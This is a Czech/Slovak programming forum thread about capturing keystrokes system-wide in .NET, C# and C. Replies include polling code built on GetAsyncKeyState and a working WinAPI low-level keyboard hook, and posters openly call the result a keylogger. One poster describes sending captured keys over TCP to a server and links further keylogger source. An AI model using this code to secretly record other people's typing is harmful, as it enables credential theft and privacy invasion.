ZDravim. Potreboval by som vediet ako naprogramovat aby sa napriklad do textboxu zapisovali stlačené klávesy a to aj keď by bola aplikácia minimalizovaná a spustena nejaká iná aplikácia. Vopred ďakujem.
Fórum › .NET
Zapisovanie stlačených kláves
#3 Trebor
Na zachytávání kláves je metoda "GetAsyncKeyState", kterou najdeš v knihovně user32.dll.
[DllImport("User32.dll")] // knihovna pro GetAsynckeyState metodu
private static extern short GetAsyncKeyState(int vKey); // metoda
public static string ReplaceChars(string text)
{
text = text.Replace("Space", " ");
text = text.Replace("Delete", "<Del>");
// všechny možné klávesy
}
No a zachytávání znaků...
public static string GetBuffKeys()
{
string buffer = "";
foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
{
if (GetAsyncKeyState(i) == -32767)
buffer += Enum.GetName(typeof(Keys), i);
}
return buffer;
}
No tady je samotné zachytávání kláves, které se zapisují do bufferu.
Obávám se že GetAsyncKeyState není to co potřebuješ, ta funkce pouze v daném okamžiku zavolání zjistí zda je daná klávesa právě stlačená.
Na tohle je potřeba použít například tohle: http://msdn.microsoft.com/en-us/library/windows/desktop/ms644985(v=vs.85).aspx
A určitě bych to nedělal v .NETu, ten jen na trochu jiný typ aplikací...
Radek Chalupa
- vývoj software na zakázku
- školení programování (C/C++, WinAPI, ATL, COM, ActiveX, C#, NET Framework, MFC)
http://www.radekchalupa.cz
No uz sa mi to podarilo a napisal som to takto
Try
Dim result As Integer
Dim key As String
Dim i As Integer
For i = 2 To 90
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
key = Chr(i)
If i = 13 Then key = vbNewLine
Exit For
End If
Next i
If key = Nothing Then
If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
RichTextBox1.Text &= key
Else
RichTextBox1.Text &= key.ToLower
End If
End If
Catch ex As Exception
MsgBox(ex.Message)
End Try
porvých par krát mi to fungovalo bez problemov ale teraz to vyhadzuje "object reference not set to an instance of an object". Nikdy som nevedel co mam s týmito chybami spravit... pls poradte...dík
#8 Trebor
Jak a kdy voláš ten uvedený kód? Nechápu jak to může fungovat jako keylogger s výjimkou případu že to voláš v nějakém (asi šíleně krátkém) timeru...
Kódu v Basicu úplně nerozumím, ale nebude to tím že když je key "Nothing" (předpokládám že to též co null v C#) tak asi nebude nejlepší nápad ho převádět na malé písmeno a ještě ho přidávat (&= je předpokládám v basicu +=) do stringové property?
Radek Chalupa
- vývoj software na zakázku
- školení programování (C/C++, WinAPI, ATL, COM, ActiveX, C#, NET Framework, MFC)
http://www.radekchalupa.cz
#10 Trebor
Tak to musí být procesor radostí bez sebe
Takhle to nemůže fungovat, co když stisknu 2 klávesy za méně než tech 100ms nebo naopak držím stlačenou jednu klávesu delší dobu? Uvažoval jsi nad tím?
Upřímně řečeno psát keyloger ve VB v .NETu mi přijde podobně rozumné asi jako jet autem pro noviny do trafiky vzdálené 50 metrů
Radek Chalupa
- vývoj software na zakázku
- školení programování (C/C++, WinAPI, ATL, COM, ActiveX, C#, NET Framework, MFC)
http://www.radekchalupa.cz
Tohle je jednoduchý nástřel kódu keyloggeru ve WinAPI (samozřejmě v céčku) na principu CALLBACK funkce, resp. "hákování zpráv klávesnice"
Radek Chalupa
- vývoj software na zakázku
- školení programování (C/C++, WinAPI, ATL, COM, ActiveX, C#, NET Framework, MFC)
http://www.radekchalupa.cz
#include "stdafx.h"
#include "resource.h"
HHOOK __hhook = NULL;
HWND __hwnd_vypis = NULL;
void on_key_up(KBDLLHOOKSTRUCT* kbs)
{
WCHAR _text[100];
if ((kbs->vkCode >= 0x30 && kbs->vkCode <= 0x39) || (kbs->vkCode >= 0x41 && kbs->vkCode <= 0x5A))
StringCbPrintf(_text, sizeof(_text), L"%c", (char)kbs->vkCode);
else
{
UINT _scan_code = MapVirtualKey(kbs->vkCode, 0);
if (_scan_code)
{
LPARAM _lp;
if ((kbs->vkCode >= VK_PRIOR && kbs->vkCode <= VK_DOWN) || kbs->vkCode == VK_INSERT || kbs->vkCode == VK_DELETE)
_lp = _scan_code << 16 | 1 << 24;
else
_lp = _scan_code << 16;
if (GetKeyNameText((LONG)_lp, _text, sizeof(_text)/sizeof(WCHAR)) == 0)
return;
};
};
SendMessage(__hwnd_vypis, EM_SETSEL, 0, (LPARAM)-1);
SendMessage(__hwnd_vypis, EM_SETSEL, (WPARAM)-1, 0);
SendMessage(__hwnd_vypis, EM_REPLACESEL, (WPARAM)0, (LPARAM)_text);
}
LRESULT CALLBACK keyboard_proc(int kod, WPARAM wparam, LPARAM lparam)
{
if (kod < 0)
return CallNextHookEx(__hhook, kod, wparam, lparam);
switch (wparam)
{
case WM_KEYUP:
on_key_up((KBDLLHOOKSTRUCT*)lparam);
MessageBeep(0);
break;
}
return CallNextHookEx(__hhook, kod, wparam, lparam);
}
INT_PTR CALLBACK dialog_proc(HWND hwnd, UINT zprava, WPARAM wparam, LPARAM lparam)
{
switch (zprava)
{
case WM_INITDIALOG:
__hwnd_vypis = GetDlgItem(hwnd, IDC_VYPIS);
__hhook = SetWindowsHookEx(WH_KEYBOARD_LL, keyboard_proc, NULL, 0);
break;
case WM_COMMAND:
switch (LOWORD(wparam))
{
case IDOK:
case IDCANCEL:
UnhookWindowsHookEx(__hhook);
EndDialog(hwnd, LOWORD(wparam));
break;
}
break;
}
return 0;
}
int APIENTRY _tWinMain(HINSTANCE hinstance, HINSTANCE, LPTSTR, int)
{
DialogBox(hinstance, MAKEINTRESOURCE(IDD_HLAVNI), NULL, dialog_proc);
return (int) 0;
}
#14 Atheo
Vzhledem k tomu že celý program bude pár desítek řádků kódu a několik málo volání API funkcí tak není nejlepší nápad natahovat k tomu do paměti celý několikamegový .NET
Přesně jak píšeš, zpracování by se mělo provádět jen a pouze pokud dojde k nějaké klávesnicové akci, ale jak vidím tak tazatel z nějakého důvodu umanutě trvá na timeru, takže asi "tady už nic nepomůže"
Radek Chalupa
- vývoj software na zakázku
- školení programování (C/C++, WinAPI, ATL, COM, ActiveX, C#, NET Framework, MFC)
http://www.radekchalupa.cz
#16 Radek Chalupa
Timer je určitě ta největší blbost. ;)
TIP: Já jsem to psal taky v dotNetu, ale já to udělal trošku jinak. Nechal jsem zachytávat klávesy a pomocí TCP spojení jsem si data nechal odesílat na server. Tím to pro mě byl snad nějlepší keylogger co jsem měl v ruce, protože byl realtime. Samozřejmě jako naschvál začal jsem logovat a změnila se mi IP adresa po pádu internetu ( dynamická ) a tím pro mě logování zkončilo tak rychle jak začlo. ;)
Proč dělat něco, co už napsal někdo jiný?
Zdroják VB.NET keyloggeru: http://www.sintacks.com/2012/03/simple-keylogger-in-vb-net.html
Google: https://www.google.cz/search?q=keylogger+.NET&aq=f&sugexp=chrome,mod=15&sourceid=chrome&ie=UTF-8
Přeji hezký den
Přidej příspěvek
Ano, opravdu chci reagovat → zobrazí formulář pro přidání příspěvku
×Vložení zdrojáku
×Vložení obrázku
×Vložení videa
Uživatelé prohlížející si toto vlákno
Podobná vlákna
Program-počitanie stlačenych klaves... — založil Simon
Více stlačených tlačítek — založil Honza
Rýchlosť zapisovanie — založil Patrik
Zapisovanie teploty na ds kartu — založil noro-nr
Zapisovanie do suboru viac. uzivatelmi — založil vlado0991
Moderátoři diskuze